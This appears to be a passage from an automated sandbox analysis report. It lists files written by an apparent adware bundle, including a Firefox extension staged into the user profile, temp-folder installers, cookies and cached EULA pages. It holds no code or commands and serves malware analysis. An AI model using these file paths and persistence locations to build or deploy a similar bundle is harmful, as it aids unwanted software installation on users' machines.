C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\webprotector_chrome[2] (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\webprotector_installer[1].exe (17968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\chrome (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gp.up (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ein.exe (19778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SetupWPP[1].exe (16240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[5].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ZipDLL.dll (3608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\LiveUpdateWPP_is[1].exe (17248 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[5].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\9813[1].xpi (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\uinst.exe (19050 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz70DD.tmp (29413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[3] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\ffwebex.xpi (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\aints.exe (17874 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\nsProcess.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\loader.css (1 bytes)

The process wpm_v20.0.0.2227.exe:3324 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (2444 bytes)

The process biclient.exe:1708 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\607d9b71d8f3494f867a2b514a49c4e9[1].htm (38647 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\6N033XO8.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ga[1].js (23650 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\K74VBEGF.txt (284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I30HGBN3.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LK9OQO07.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Q1B8I1UZ.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\L78IFRUF.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (5886 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1053 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-webprotectorplus[1].htm (1805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\H27HXF3Y.txt (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SSW2T2UV.txt (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe (49444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y9QFD891.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp (34243 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PIZSIHXE.txt (683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\11M3S3OA.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z5XBA8OV.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\A4AZ3YCR.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X4J67704.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[1].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VLUZU9TN.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe (9472 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.2 (4152 bytes)

The process biclient.exe:2524 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0TXYV4A8.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2H1PGLRD.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KA44EJ38.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SGBXYV3J.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\28FU1I4D.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HX8SCL0W.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe (9472 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5TYB4D2H.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\U1OIZ7O6.txt (127 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-youtubeaccelerator[2].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\69fcc8129cc3cf46b36b738c6b72bbc0[1].htm (36203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FR4MH1AG.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EQ2OC3YL.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MFYPLQNX.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-swiftrecord[1].htm (4339 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\DK7W10AL.txt (611 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe (38906 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1FK8JVVY.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HSAC9DOR.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\99QT4KLS.txt (325 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp (34243 bytes)

The process biclient.exe:4120 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\534C8HIK.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Q8EJT39Z.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe (9472 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X69MDHY3.txt (779 bytes)
